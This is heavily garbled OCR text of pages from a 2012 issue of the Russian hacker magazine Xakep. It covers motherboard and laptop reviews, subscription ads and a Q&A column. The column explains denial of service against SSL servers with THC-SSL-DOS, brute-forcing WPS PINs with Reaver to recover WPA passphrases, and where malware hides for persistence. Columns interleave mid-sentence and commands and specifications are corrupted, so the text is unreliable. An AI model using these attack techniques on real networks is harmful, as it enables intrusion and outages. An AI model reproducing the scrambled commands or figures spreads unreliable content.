Конечно , маркетологи наверняка постарались выставить всё в
ярком свете. Но в то же время тяжело отрицать эффективность япон ских твердотельны х конденсаторов и высококачественных злементов
...
питания. При зтом цена М51
Идем дальше.
BI05
A75MA-G55
весьма демократична.
материнской платы М51
A75MA-G55,
как пацан
чик из Южного Бутово , четкий. Здесь нет расплывчатых понятий . Если и можно поднять частоту шины , то лишь до
128
МГц . Если и можно
поднять напряжение, то только на определенную величину, причем
не очень большую . В итоге уже чисто визуально заметно, что в плане оверклокинга много из этой платы не выжмешь . Тем не менее , на шине мы получили . Процессор заработал на частоте
МГц, а память
-
на частоте
115
х
18,66 = 2145,9
115 МГц 115 х 29 =3335
МГц.
с НИМИ ДЯДЬКА ЧЕРНОМОР ASUS F1A75-V PRO
GIGABYТE
GA-
MSI A75MA-G55
A75M-D2H
ВОТ парадокс: все устройства, которые мы тестировали, наверняка найдут своего покупа теля, хотя у нас и было к ним много претензий . В оправдание производителей можно сказать, что
FM1 1066-2250 М Гц 1 х PC I Е х р ге55 х 1 6, 1 х PCI Е хрге55 х4, 2х PCI Е х р ге55 х1, 3х PC I 7х 5АТА 3.0 7.1 СН НО Rea ltek ALC892 Realtek RTL811 1Е , 10/ 100/ 1000 М б ит/с
FM1 1066- 2400 МГц 1х PCI Е х р ге55 х16, 1 х PCI Е х р ге55 х4, 1 х PCI Е х рге5 5 х 1 , 1 х PCI 6х SATA 3.0 7.1 С Н НО Realtek ALC 889 Realtek RTL8111 Е , 10/100/1000 Мбит/с
FM1 1066- 1600 МГц 1 х PCI Е х рге55 х 1 6, 1 х PCI PCI Е х р ге55 х1, 1 х PCI
со временем, после пары-тройки перепрошивок Е х рге5 5 х4, 1 х
6х 5АТА3. 0
7.1 С Н НО RealtekALC 887 Realtek RTL8 111 E, 10/ 100/ 1000 Мбит/с
BIOS, всё
устаканится. Нам же остается раздать
награды. За великолепную производительность и замечательный оверклокерский потенциал приз «Выбор редакции» достается материнке
A5U5 F1A75-V PRO. 1х 0 - 5 и Ь, 1 х Oi5playPort, 1 х OVI, 1х HOMI, 4х US8 3.0, 2х US8 2.0, 1 х е5АТА, 1 х FireWire, 1 х 5/ POIF, 1х RJ45, 1 х Р5/2, 6х audio АТ Х
1 х 0- 5и Ь, 1 х
OVI, 1х HOMI, 2х US8 3.0, RJ- 45, 1х
1 х 0- 5 иЬ , 1 х
4 х U58 2.0, 1х 5/ POIF, 1х Р 5/2, 3х audio
U58 2.0,
m АТ Х
mАТ Х
1х
OVI, 1х HOМl, 2х U58 3.0, 4х RJ-45, 1 х Р 512, 6х audio
Плата
GIGABYTE GA-A75M-D2H
при полном отсутствии конкурентов « загребает » титул « Лучшая покупка » . Также хочется отметить материнскую плату
GIGABYTE GA-A75-UD4H
за ее
уникальные способности в области разгона про цессора и оперативной памяти . I
ХАКЕР
02/157/2012
135
FERRUM
Сергей Никитин
Размер экрана: 17.3", 1920х1080 точек Процессор: Intel Саге i5-2410M, 2.4 ГГц
Оперативная память: DDR3-1333, 6 Гб ВИАеоплата: АМО Radeon 6650М, 2 Гб Жесткий АИСК: 500 Гб Сетевые возможности: Gigabit LAN,
Wi-Fi, Bluetooth 3.0 Дополиительно: 3D - очки Операционная система: Windows 7 х64 Габариты: 415.8х276.1х32 . 3х 37.9 мм Вес: 2.9 кг
WiпRАR: 2369 Кб/с Super Р; (16М): 330 с PCMark'05: 8788 баллов ЗDМагk Vantage: 4431 балла Rеsidепt Evil 5: 59 FPS
Call 01 Juarez: 21.5 FPS Alien VS Predator: 13 FPS Неаvеп Dragon: 12 FPS Battery Eater: 67 минут
SAMSUNG RF712-S01 УНИВЕРСАЛЬНЫЙ НОУТБУК ДЛЯ РАЗВЛЕЧЕНИЙ! Сего дняшние ноутбуки практиче ски ни в чем
и разрешением 1280хl024 точек. Время работы
и играть в любые современные игры . Спасибо
не уступают своим настольным собратьям .
от батареи проверялось с помощью утилиты
процессору
И это факт. Они собраны иэ мощных компо
Battery Eater -
режим «к лассический ».
Саге
Intel
видеокарт е АМD
i5-2410M и дискретной Radeon 6650М.
нентов, поэволяющих запускать новейшие
игровые хиты. Они практичны и удобны в ис
ПЕРВОЕ ЗНАКОМСТВО
И ЕЩЕ НЕМНОГО
пользовании. Кроме того в лэптоп подчас куда
Модель
легче внедрить какую-нибудь интересную тех
и внушительно , но при этом не производит впе
нологию. Например, ноутбук
Samsung RF712
выглядит солидно
Как и у других устройств от ли
RF712
Samsung,
у моде
есть много дополнительных фишек.
чатления скучного ноутбука. У него симпатич
Некоторые из ни х не только весьма интересны,
может, помимо всего вышеперечисленного , по
ный, современный дизайн . На наш взгляд очень
но и полезны. Например, возможность подза
хвас таться еще и возможностью работы с ЗО!
удачно выполнена подсветка клавиш. Допол
рядки различных мобильных USВ-устройств
няет общее позитивное впечатление большой
от соответствующего порта компьютера, даже
дисплей . О нем стоит рассказать особо, так как
если он выключен. Или вот функция ускорен
Для про верки того, на что способен этот
производительпозиционируетегокак«самый
ного выхода из спящего режима . Несомненно,
мобильный компьютер, мы применили нашу
яркий ноутбу чный дисплей в мире ». Кроме того ,
к приятным моментам относится и весьма
спе циально разработанную для таких случаев
одев идущие в комплекте 3D-очки и, запустив
солидный набор программнога обеспечения,
Samsung RF712
МЕТОДИКА ТЕСТИРОВАНИЯ
ме тодику. Она состоит из трех групп программ
соответствующую игру или фильм , ты получишь
который идет с
-тех, которые вычисляют производитель
трехмерную картинку. Думаем, про актуаль
поставки .
наст ь связки процессор-память, синтети
ность зо лишний раз напоминать не стоит.
Вообще же,
ческих бенчмарков и настоящи х игровых
Samsung RF712
оснащен практи
Samsung RF712
в комплекте
.:111:1.1.
приложений. В первую группу вошли тест,
чески всеми новейшими технологиями. К услу
Ноутбук
встроенный в архиватор
гам пользователя будет доступен :
интересным. Он под завязку набит новейши
Super Pi . Вторая представлена продуктами Futuremark: PCMark'05 и 3DMark Vantage . А в игровую группу вошли тесты Resident Evil 5, Call 01 Juarez, Alien Vs. Predator и Heaven . Они
та 801.11п,
ми технологиями, современным «же лезом »
запускались с параметрами по умолчанию
ми, на нем можно как комфортно работать, так
136
WinRAR, и
утилита
3.0.
Wi-FI стандар привод Blu-Ray, USB 3.0 и Bluetooth
Ну а про современное «же лезо » И говорить
нечего . Все тесты производительности
RF712 завершил
Samsung
с весьма хо рошими результата
Samsung RF712
получился очень
И прочими вкусностями. Да, пожалуй, перед
тобой действительно идеальный ноутбук для развлечений . Осталось проверить, готов ли попкорн в микроволновкеl:::J:
ХАКЕР
02/157/2012
(gameJland ЖEl\EЗО;
ПОДПИШИСЬ! shop.glc.ru Редакционная подписка без посредников это
гарантия
получения
журнала и экономия до
важного для
400/0
-
Вас
от розничной
цены в киоске
6 номеров - 111 О руб. 13 номеров - 1999 руб.
6 13
номеров
6 13
номеров
6 13
номеров
номеров
номеров
номеров
6 номеров - 111 О руб. 13 номеров - 1999 руб.
-
564 руб. 1105 руб.
6 номеров - 111 О руб. 13 номеров - 1999 руб.
-
630 руб. 1140 руб.
6 13
-
690 руб. 1249 руб.
6 13
номеров номеров
номеров номеров
8-800-200-3-999 +7 (495) 663-82-77 (бесплатно)
6 13
номеров номеров
-
81 О руб. 1499 руб.
-
895 руб. 1699 руб.
6 номеров - 1194 руб. 13 номеров - 2149 руб.
-
775 руб. 1399 руб.
6 13
номеров номеров
-
950 руб. 1699 руб.
6 номеров - 111 О руб. 13 номеров - 1999 руб.
6 13
номеров
6 13
номеров
номеров
номеров
-
894 руб. 1699 руб.
-
81 О руб. 1499 руб.
UNITS I FAQ UNITED
Степан Ильин
Itwtitter.com/stepah!
FAQ United ЕСТЬ ВОПРОСЫ НА
r.t
ПРИСЫЛАЙ
FAQri1REAL.XAKEP.RU
ПОСЛЕДНЕЕ ВРЕМЯ ВСЕ ЧАЩЕ
~ ГОВОРЯТ О ПЕРЕХВАТЕ ДАННЫХ, КОТОРЫЕ ПЕРЕДАЮТСЯ НЕ ТОЛЬКО
ПО
55L [КСТАТИ, СПАСИБО ВАМ ЗА КЛАССНЫЕ МАТЕРИАЛЫ В #11/11
Если это так, то уязвимы и те сервисы, которые
к нему 2,5-дюймовым диском, и отсоединить
поддер жи ваюттак называе мую процедуру
сам диск . При этом могут возникнуть пробле
Secure Renegotiation, однако, в паблике зкс плоита нет. Утилита sslyze выполняет та кже
мы с перегревом . И хо тя практический опыт показывает, что отдельные экземпляры могут
несколько других про верок уровня безопас
продолжительное время нормально работать
ностиSSL : позволяет выявить использование
без радиаторов , помни, что ты делаешь это
НОМЕРЕ], НО И НА САМ 55L-ДЕМОН. ЕСТЬ ДАЖЕ УТИЛИТА THC-55L-D05 [WWW.THC. ОRG!ТНС-55 L-DО 5 ] ДЛЯ ВЫЗОВА ОТКАЗА
слабых шифров, определяет версию протокола ·
на свой страх и риск и дополнительное
[SSLv2, SSLv3 и TLSv1! и про водит валидацию
охлаждение всё-таки желательно. К слову,
В ОБСЛУЖИВАНИИ. В ЧЕМ СОЛЬ? ВЕДЬ
сертификата.
о диска х повышенной надёжно с ти . Специали
ТНС ФИГНЮ НЕ РЕЛИЗИТ!
8:tI
r,.
сты по восстановлению данных не зафиксиро
ЧИТАЛ ГДЕ-ТО, ЧТО ВИНЧЕСТЕРЫ
DDoS SSL-Аемона довольно W проста. Суди сам: установка защищенно го SSL-соединения требует на сервере в 15 раз
. . . ДЛЯ СЕРВЕРОВ ДЕЛАЮТСЯ БОЛЕЕ
больше ресурсов, чем на клиенте. Соответ
ПРОВЕРКА НА ВСЕХ ЭТАПАХ
Идея вызвать
вали более -менее заметной повышенной надёжности у 3,5-дюймовых дисков , которые
НАДЕЖНЫМИ [СНИЖЕННАЯ СКОРОСТЬ
позиционируются производителями как диски
ВРАЩЕНИЯ ДИСКОВ, БОЛЕЕ СТРОГАЯ
повышенной надёжности.
ственно, THC-SSL-DOS [www.thc.org/thc-ssl-dos]
ПРОИЗВОДСТВА И Т. Д . ! . ВОПРОС : А ЕСТЬ
использует зту пропорцию , чтобы вызвать отказ
ЛИ В ПРОДАЖЕ ВНЕШНИЕ НАКОПИТЕЛИ
r,.
в обслуживании. На деле используется всего
НА 2,5-ДЮЙМОВЫХ ВИНЧЕСТЕРАХ
ВЫ УЖЕ ДОВОЛЬНО MHqrO ПИСАЛИ . . . ПРОЗЛОВРЕД,КОТОРЫИ ПРОПИСЫВАЕТ СЕБЯ В WINDOW5-
один ТСР-пакет, чтобы начать процесс
SSL
[ПРЕДНАЗНАЧЕННЫХ ДЛЯ СЕРВЕРОВ]
СИСТЕМЫ . В БОЛЬШИНСТВЕ СЛУЧАЕВ Я
hапdshаkеs с сервером. Та вер сия утилиты,
ИЛИ ЖЕ В СЕРВЕРАХ ИСПОЛЬЗУЮТСЯ
ПРЕДСТАВЛЯЮ , ГДЕ ИСКАТЬ СЛЕДЫ
которая доступна в паблике, может вызвать
ТОЛЬКО 3,5-ДЮЙМОВЫЕ ЖЕСТКИЕ
МАЛВАРИ . НО ВОТ ГДЕ МОЖЕТ
DDoS тех
ДИСКИ?
сервисов, которые поддерживают
ПРОПИСАТЬ СЕБЯ ВИРУС В СИСТЕМАХ
LINUX
ус тановку соединения со стороны к лиента
[сliепt-iпitiаtеd
renegotiations!. Выяснить зто можно с помощью другой утилиты sslyze [code. google .com/p/sslyze]:
...
181
Среди жестких дисков формфактора
2,5", в отличие от 3,5 -дюймовы х жестки х
дисков, производители не выделяют модели
повышенной надёжности . Серверные диски формфактора Если в графе напротив
client-ini tiated renegotiations будет значение Honored, значит,
2,5"
И
05
Х, ЧТОБЫ ОСТАТЬСЯ
В СИСТЕМЕ ПОСЛЕ ПЕРЕЗАГРУЗКИ?
8:tI W
В UNI Х-сис тема х его нужно искать
в следующих папках:
существуют, как и корзины
под них, но в се они относятся к типу SAS [Serial Attached SCSI] и немного толще обычных.
L)!.<!rj;~JI.1;i!J!~j5.\J. s_e.r.!1"me..~.. _.._....................... _.......... . 1.e.:t;:.IJ1;:t;:y~............................................................................. .
Получить 2,5-дюймовый серверный SАТА-диск
1..е.:t;:.с.!.рсQfйе. ................................. _.....................................
сервис уязвим. По сло вам разработчиков,
можно, взяв НDD семейства
Le.J~i.b.<J_~.b.c_c..........................................................................
сегодня проблема затрагивает все реализа
VelociRaptor,
ции SSL [хотя известно о ней еще с 2003 года!.
3,5-дюймовый радиатор с прикреплённым
Western Digital
который пред ставляет собой
i.e.th/.cs_b..,_c_s.b.c.c.......................... _ ..................................... Le.Js;js;.~!J.J.Qgi.n.................................................. _ .............
5 ШАГОВ: ИСПОЛЬЗУЕМ DROPBOX КАК БЕСПЛАТНЫЙ ХОСТИНГ
rn J
овольная бредовая идея
-
использо
вать DгорЬо х для хос тинга -
работа
ет и набирает популярность. А что ?
1
Проще всего, конечно, со статическим
саЙтом. Ты просто бе решь все файлы
проекта [НТМ L, CSS, Ja va Script-
Никакой мороки с регистрацией, никакого
сценарии! и забрасываешь их в директорию
геморроя с редактированием файлов
PubIic,
и о тправ кой и х на сервер [все дела е тся внутри папки DгорЬох! , у сервиса практически гарантированный аптайм 99,9 % [спасибо Amazon S3!- короче говоря, почему бы и нет?
ное меню рuЫi с-ли нк для домашней страницы
138
после чего получаешь через ко нте кст
2
Казалось бы, если c~eДOBaTb логике , топриоткрытииэтоиссылкипол~
зователю будет предложено скачать
inde x.html.
Н о нет. DгорЬо х устроен так, что
будет отдавать тако й контент, как и любой дру гой х остинг. Страница откроется! Некрасивую
[скажем, inde x. html! вроде этого:
сс ыяку можно сократить с помощью сервиса
http:Udl. dropbox .com/u/2 131O/site/in dex.h tm l.
типа
bi t. ly и
ему подобны х.
ХАКЕР
02/157/2012
FAQ UNITED
/e.t~/r._<;_ , _<;.Qmro9д
_____________________________________________________________ _
~J.,pr-QfiJ-e------------------------------------------- ______________________________ _ ~ / ,J~_<!~_hr._<;
В
OS
БОЛЬШОЙ ВОПРОС
______________________________________________________________________ _
Х он может скрываться здесь : СУЩЕСТВУЮТ ЛИ БОЛЕЕ эф
Q
L$у~:t;_еПJ/цJ).r.i!.ry/!..•Н!JJ~_hQ_Q_еmQ.r1~ ______________ _
L5y ~J;еl1!/1,,1Qr:_<!r.у.L_Е_ х.tел~JQЛ~ ...... _____ .___________ .. _.. _._ .. L. !.JQ.r::<!r.удi!J,ю<;Ь_I;!i!е_ПJ.Q!1~ ____________________ ._____________________ _ /..$уs_:t; _~ro/..I.,JRr_i!rу.L.!.i!_у!1<;ы\gшts ______________________________ _ L.!.JR_r.i!гу/!.-9. ул~.t1~gеJJ-:t;-~.. -.-.------.----------------_______________ _ L.!.1Qr._<!r.у{$:t;_"r.tYl;й.tеm~ ___ ._____________________________________ _ /..ц];>_г.i!.г.уjР.rе.fегел!;_~~л.9gJоwj,лQj~w_,_рJt.~,:t; ____ _ ~/..ц_Qr_Q.г.уд_<!ущ_hAgел:t;_~ ___ .. ____ ..... _____ .. __ .. _________ .... __ .___ _ _ ~j !,JR.ri!.r::y/P.r.e.f,g.r::eJJ_~_e.n.QgiJJJ:t_~!!1.~ _.plj,~,:t; ______ .
'то есть фактически в устройстве), которые
ФЕКТИВНЫЕ СП_ОСОБЫ ВЗЛОМА
можно эксплуатировать. Протокол
БЕСПРОВОДНОИ WI-FI-СЕТИ,
оказался уязвимым к брутфорс-атакам ,
ЗАЩИЩЕННОЙ WPA!WPA2? МЫ ЖЕ ВСЕ ПОНИМАЕМ, ЧТО ПРИ ДОСТАТОЧНОЙ СЛОЖНОСТИ И ДЛИНЕ ПАРОЛЬНОЙ
добрать
ФРАЗЫ ПЕРЕБОР МОЖЕТ ДЛИТЬСЯ
фразу
ВЕЧНО.
но, всего за нескольких часов! Уязвимость
которые позволяет злоумышленнику по
А
Но зто, скорее, касается зловреда, который
WPS PIN,
используемый точкой
доступа,И,соответствеННО,парольную
WPA/WPA2,
«живет »
~/I.,JRr._"rуLР.г..~f_~г..~rКе/),.9.giлwj,JJ.QQ_w_~_,_ рJj,-!;:t;----
WPS
причем, что очень важ
на самом низком уровне, в самом
протоколе . Это промах его разработчиков.
До недавнего времени я бы ска
зал , что никаких других СПОС~БОВ
В паблике доступна утилита
подключиться к защищеннои
ly/uAaS67), которая уже
Reaver 1Q.iL
работает вполне
беспроводной сети, кроме как использо
стабильно и протестирована для большин
вать брутфорс , не существует. Собственно ,
ства точек доступа и реализаций прото
малварь может сделать бэкдор прямо в ядре
способы взлома непосредственно
кола
системы:
WPA2
работает в
user mode.
Изящно написанная
WPA!
WPS.
Использовать ее очень просто:
нужно лишь указать целевую
остались неизменными , однако
BBSID
'ее
получить доступ к защищенной беспро
МАС-адрес) и интерфейс Iкоторый пред
L5у~tе!11дiRr"r:У/..с."фе-~jц)m~<!ррJ~_.Jеше1<;_9c;hе_s_
водной сети можно, воспользовавшись
варительно нужно перевести в режим
/.$у~.tе!11L_~JQr.i!rуI!'1!.е~у-~,:t;E!ПJ~LАР.р1~$hjJг_еJ. _____ .___ _
обходным путем, но только в том случае,
монитора), который будет слушать эфир:
/$y~:t;e!11Jb;lI;>.r<!r.y /ЕЦе_~У.~:t;em~LЬf~,_f.~До!;QQj,оgsj
если в ней применяется очень популяр rе_"У.еr.. __:j,__ .ro9л~_._.:_Q .jЩ ; el_;_~;2_ ;_~} _:.04_;_!'j_5_
ная сегодня технология
А еще более искусно созданные образцы
что
WPS. Напомню, Wi-Fi Protected Setup - это стандарт,
задействуют расширения ЕFllактуально для
который позволяет легко установить дома
Помимо этого, автор предлагает коммер
современных Мас'ов, построенных на платфор
защищенную беспроводную сеть на базе
ческую версию с несколькими полезны
ме
WPA2.
Intel).
Идея в том , что пользователю
ми фичами и улучшениями, касающимися
не нужно заморачиваться с настройкой
скорости подбора . Атаковать можно
защиты и вводом длинных парольных
практически любой современный роутер ,
фраз, когда он добавляет в беспроводную
в котором
ЗАНОВО СИСТЕМУ СТАВИТЬ НЕ ХОЧУ,
сеть новое устройство,
нию ,
ПОЭТОМУ СОБИРАЮСЬ СДЕЛАТЬ КЛОН.
максимально упрощается. Используются
миру! Более подробнее об атаке ты
восьмизначные PIN-КОАbI. До недавне-
можешь прочитать в этом AOKYMeHTe: .biL ly/uAaS67. Помимо геауег, есть еще один РоС Ibit.ly/u3mTX F), реализующий атаку,
r.t .:..
СДЕЛАЛ АПГРЕЙД И ПРИОБРЕЛ СЕБЕ SSD ДЛЯ СИСТЕМНОГО ДИСКА.
СЛЫШАЛ, ЧТО ЕСЛИ СТАВИТЬ
НА
SSD,
WINDOWS 7
ТО УСТАНОВЩИК САМ ПОПРАВИТ
КАКИЕ-ТО ПАРАМЕТРЫ . ПОДОЗРЕВАЮ,
безопасной , но в декабре сразу несколько
НЕ ПРОИЗОЙДЕТ. ТАК ЧТО ЖЕ НАДО СДЕЛАТЬ, ЧТОБЫ SSD НЕ УМЕР УЖЕ ЧЕРЕЗ ГОД?
181
но эта утилита пока работает не со всеми
ее
Network
Windows 7
отключать механизмы, которые часто
производят запись Iнапример, Superfetch или Application launch prefetching) . Как ОС
Туре:
138
Кеу :
72 65 61 6С 6С 79 6Е 67 5F 77 713 61 65 5F 67 6F 6F 64 68 69 6Е 67 5F 74
Кеу \~ rap
отреагирует после клонирования, сложно
включена по умолча-
Wi-Fi-адаптерами .
13131313 1313113 013213 01330
довольно умна в этом плане и сама умеет
WPS
это миллионы девайсов по всему
исследователей безопасности рассказали
Encryptlon
производители советуют снизить
-
о неустранимых промахах в ее стру к туре
13131313
Чтобы минимизировать износ диска,
к оличество операций записи.
весь процесс
го времени эта технология считалась
ЧТО В СЛУЧАЕ КЛОНИРОВАНИЯ ЭТОГО
...
-
5F 72 5F 70 5F 6С 68 69
65 61 75 73
61 6С 6С 79 5F 6С 6F 73 73 70 68 72 61 73 63 68 5F 63 72 61 63 5F 6F 6Е 65
really_really_lo ng_wpa_passphras e_good_luck_crac king_this_one
Algori thm:
Для подключения к сети
WPS используется восьмизначный PIN. Сначала брутфорсится его первая часть, потом WPA2!
вторая, и в конце концов извлекается парольная фраза
3
Увы, динамические сценарии на таком хостинге выполнить не получится,
а вот при крутить
CMS можно благо даря сервису droppag es.co m. Скачиваем с последнего тему для сайта Iнапример, demo. droppages.com.zip), после чего распаковываем архив в папку вроде your_site.droppages.com. Очень скоро здесь будет саЙт.
ХАКЕР
02 / 157/ 2012
В
Структура состоит из трех папок :
5
Далее используем стандартную воз
Content 'контент сайта в текстовом виде), PubIic !статический контент) и Templates IНТМL-файлы, используемые для
droppages.com . После
оформления страницы). Ты можешь настроить
обрабатывать твои файлы с контентом и ша
шаблоны под себя и разметить текст 'В папке Content! с помощью специальной разметки и
блонами и отдавать сформированные
ключевых слов .
даже при вязать сайт к домену.
можность для расшаривания папок
и предоставляем доступ
serverl ГCJ
этого сервис сможет
HTMLстраницы . За небольшую денежку можно
139
UNITS I FAQ UNITED сказать, поэтому рекомендую проверить
значения параметров
EnabIeSuperfetch
и
EnabIePrefetcher в ветке Н КЕУ_LOCAL_MACH 1NE\SYSTEM\ CurrentControISet\Control\Session М anager\ Метогу Management\PrefetchParameters. Не
r,I
ВО ВРЕМЯ ПРЕЗЕНТАЦИЙ ЧАСТО
_.
. . . ВИДЕЛ,КАКДОКЛАДЧИК
ТО
НАЖИМАЕТ КАКОЙ-ТО ХОТКЕЙ
SK up iI network,
ty~
the S-digit PIN rrom the router I~bel
you ...... &ocItht-": ...... IIЬ8IМlaINodlolhe 1'OI/kf'00;",u.pmtcd~tjonth&t_ffamtht
И УВЕЛИЧИВАЕТ ОПРЕДЕЛЕННУЮ ЧАСТЬ ЭКРАНА,ЧТОБЫПРОДЕМОНСТРИРОВАТЬ ЧТО-ТО В ДЕТАЛЯХ . КАК ЭТО ДЕЛАЕТСЯ?
которые также рекомендуют отключить очист
Проще всего использовать утилиту
ку swар-фаЙла. Делается это в разделе НКЕУ_
...
LO СА L_ М АС Н 1NE\SYS ТЕ М\С u гге ntCo п! го IS et\ Control\Memory Management\: нужно задать ключу ClearPageFileAtShutdown значение О.
181
Помимо этого, нужно убедиться, что работает
этого, на увеличенном изображении можно
команда
сразу что-то нарисовать .
TRIM,
позволяющая операционной си
стеме уведомлять твердотельный накопитель о том, какие блоки данных больше не исполь зуются и могут быть очищены накопителем са мостоятельно. Выяснить это можно с помощью
Zoomlt Ibit .ly/uULrOd ] от Марка Руссино
вича . Она тихо сидит в трее и как раз по хоткею увеличивает выбранную часть экрана. Помимо
r,I
КАК МОЖНО НАСТРОИТЬ ФАЙЕРВОЛ
. . . В LINUX, ЧТОБЫ ПРЕДОТВРАТИТЬ БРУТФОРС-АТАКИ НА SSH?
ввести восьмизначный
...
181
PINo И
WPS достаточно
его можно сбрутфорсить!
Советую тебе скачать GitPad I~ github.com/githubIgitpad]. Это небольшое
приложение, которое конфигурирует систему
так, чтобы в качестве стандартного редактора
команды:
... fsutil behavior query DisableDeleteNotify Если в выводе значение
значит,
Для подключения к WРА2-сети с помощью
TRIM
DisabIeDeleteNotify,
включен. Но только на уровне
ос. Поэтому надо убедиться, что
TRIM под держивается драйвером Iчаще всего RAIDконтроллера или стандартного MSAHCI] .
Никогда бы не подумал, что столько
Можно подключить, скажем,
для SSH-Аемона никому не нужного сервера,
этого внесем изменения в конфиг
неудачных попыток входа каждый день
вполне традиционная картина . Большинство таких попыток можно отсечь, просто перенеся
демон на какой-нибудь нестандартный порт
22]. Другой вариант - пра iptabIes. Опытные линуксои
вильно настроить
ды рекомендуют следующий рецепт:
ПОСЛЕДОВАТЕЛЬНОСТЬ ДЕЙСТВИЙ В WINDОWS-СИСТЕМЕ?
Готовых решений для Python'a не так уж и много. Среди полезных библиотек можно выделить pywinauto !code.google.com/p/ pywinauto], которая специально предназначе
.".
W
на для GUI-автоматизации . Сценарии получаются очень наглядными и не требуют комментариев :
from pywinauto import application арр = application,Applicationo start( "notepadoexe" ) appoNotepadoMenuSelect( "Help->About Notepad" ) appoAboutNotepadoDKoClick() appoNotepadoEditoTypeKeys ( "pywinauto Works!" , with_spaces=True) Подробный мануал есть на офсайте
Ipywinauto.goog lecode.com/hg/pywinauto/docs/ index.html ]. Установить библиотеку тоже не со
Notepad++. Git'a:
Для
пока не посмотрел в его логи. Несколько тысяч
!СО стандартного
r.I МОЖНО ЛИ С ПОМОЩЬЮ PYТHON ~ СКРИПТОВ АВТОМАТИЗИРОВАТЬ
использовался самый обычный « Блокнот».
181 людей пытаются сбрутфорсить пароль
git config --global coreoeditor \ о . . С : \\Program Files (х86) \\Notepad++ \\ notepad++oexe' -multiIпst -notabbar -nosession -поРlugiп''
r.I НУЖНО СГРАББИТЬ ДАННЫЕ ~ СНЕКОТОРОГО САЙТА, КОТОРЫЕ ОН ВЫДАЕТ В РЕЗУЛЬТАТЕ ПОИСКА ПОСЛЕ
iptables -Р INPUT DRDP iptables -д INPUT -т state \ --state ESTABLISHED,RELATED -j дССЕРТ iptables -д INPUT -р tcp -т tcp \ --dport 22 -т state --state NEW \ -т recent --set --пате SSH iptables -д INPUT -р tcp -т tcp \ --dport 22 -т state --state NEW \ -т recent --update --seconds 60 \ --hitcount 4 --rttl --пате SSH -j DROP iptables -д INPUT -р tcp -т tcp \ --dport 22 -т state --state NEW -j дССЕРТ
ВВОДА НЕКОТОРЫХ ПАРАМЕТРОВ . МОЖНО
ЛИ ОБОЙТИСЬ БЕЗ ПРОГРАММИРОВАНИЯ?
...
Самый крутой способ, который меня
181 не раз выручал - это воспользоваться сервисом
open .dapper.net
от
Yahoo.
Подход
удивляет своей простотой :
10
Ты указываешь сервису URL-сайта, с которо го хочешь извлечь информацию. Оаррег. пе! открывает его внутри своего собственного движка и приступает к анализу .
20
Далее ты осуществляешь нужные переходы по сайту и, главное, отмечаешые поля, кото
После этого хосты, пытающиеся перебирать пароль, будут блокироваться: все
IP
рые необходимо заполнить . Каждому из них
из черного
можно задать имя, скажем,
списка будут фиксироваться в файле /proc/net/
указать~гозначения.
ipt_recent/SSH.
r,I
«variabIe 1»-
когда будешь запускать скрипт, ты сможешь Зо
С НЕДАВНЕГО ВРЕМЕНИ IK СЛОВУ,
В конце концов, когда появляются элементы сайта с нужными данными, ты обознача
. . . ПОСЛЕ ПРОЧТЕНИЯ СТАТЬИ «GIT&&GITHUB: С МЕСТА В КАРЬЕР » ]
ешь структуру. Если, скажем, это выборка фильмов, то кликаешь на название фильма
НАЧАЛ ИСПОЛЬЗОВАТЬ СИСТЕМУ
и в поле вписываешь « Название фильма » ,
ставит труда:
УПРАВЛЕНИЯ ВЕРСИЯМИ
далее кликаешь на рейтинг и добавляешь
1. Распаковать архив . 2. Запустить python .exe setup.py install. 3. Установить PIL Iwww.pythonware .com/ р rod ucts/p iI/i ndex.htm ]. 4. Установить elementtree leffbot.org/ downloads].
УБИВАЕТ, ЧТО ДЛЯ РЕДАКТИРОВАНИЯ
GIT.
НО МЕНЯ
СООБЩЕНИЙ ДЛЯ COMMITOB ДАЖЕ ПОД
WINDOWS
НЕОБХОДИМО ИСПОЛЬЗОВАТЬ
новый элемент«Рейтинг» в структуру и т. д.
40
Последний штрих-это экспорт данных. Можнооформитьизвлеченныеданные
НИКСОВЫЙ VIM. КАК БЫ ВМЕСТО НЕГО
в виде
ИСПОЛЬЗОВАТЬ ЧТО-НИБУДЬ БОЛЕЕ
своего RSS-ридера Iтаким образом, зто
ПРИВЫЧНОЕ?
идеальный способ превратитьлюбой сайт
RSS и
подписаться на них внутри
в RSS-ленту], а можно, скажем, просто экспортировать все в
*
XML и
использовать
сграбленные данные в своих проектах.
Session Renegotiation : Client-initiated Renegotiations: Secure Renegotiation:
Honored Hot Supported
Увы, некоторые сайты банят робота
dapper.
пе! 'и автоматизировать их так просто уже не удается.:Х:
Уязвимый к
DDoS SSL-Аемон
ХАКЕР
02/157/2 01 2
ГОДОВАЯ ЭКОНОМИЯ
Подписка 1.
Разборчиво заполни подписной купон и кви танцию, вырезав их из журнала, сделав ксе
рокопию или распечатав с сайта
2. 3.
shop.glc. ru.
Оплати подписку через любой банк. Вышли в редакцию копию подписных доку
ментов
-
купона и квитанции
любым из
-
нижеперечисленных способов:
• на e-mail: subscribe0glc.ru; • по факсу: (495] 545-09-06; • почтой по адресу: 115280, Москва, ул. Ленинская Слобода, 19, Омега плаза, 5 эт., офис NQ 21, 000 «Гейм Лэнд», отдел подписки.
500
12 НОМЕРОВ 6 НОМЕРОВ
руб.
2200 РУБ. 1260 РУБ.
УЗНАЙ, КАК САМОСТОЯТЕЛЬНО ПОЛУЧИТЬ ЖУРНАЛ НАМНОГО ДЕШЕВЛЕ! ПРИ ПОДПИСКЕ НА КОМПЛЕКТ ЖУРНАЛОВ ЖЕЛЕЗО + ХАКЕР +
2 DVD : -
ОДИН НОМЕР ВСЕГО ЗА
162
РУБЛЯ
(НА 35% ДЕШЕВЛЕ, ЧЕМ В РОЗНИЦУ] ВНИМАНИЕ! ЕСЛИ ПРОИЗВЕСТИ
МОЖНО ОФОРМИТЬ С НОЯБРЯ.
ЗА 12 МЕСЯЦЕВ 3890 РУБЛЕЙ (24 НОМЕРА) ЗА 6 МЕСЯЦЕВ 2205 РУБЛЕЙ (12 НОМЕРОВ)
ОПЛАТУ В СЕНТЯБРЕ, ТО ПОДПИСКУ
ЕД И НАЯ ЦЕНА ПО ВСЕЙ РОССИИ . ДОСТАВКА
ЕСТЬ ВОПРОСЫ? Пиши на
ЗА С ЧЕТ ИЗДАТЕЛЯ , В ТОМ ЧИСЛЕ КУРЬЕРОМ
нам
ПО МОСКВЕ В ПРЕДЕЛАХ МКАД
други х регионов России, абонентов сетей мтс, БиЛайн и Мегафон) .
inf00g lc.ru или звони по бесплатным телефо
8[495)663-82-77 [для москвичей) и 8 [800) 200-3-999 [для жителе й
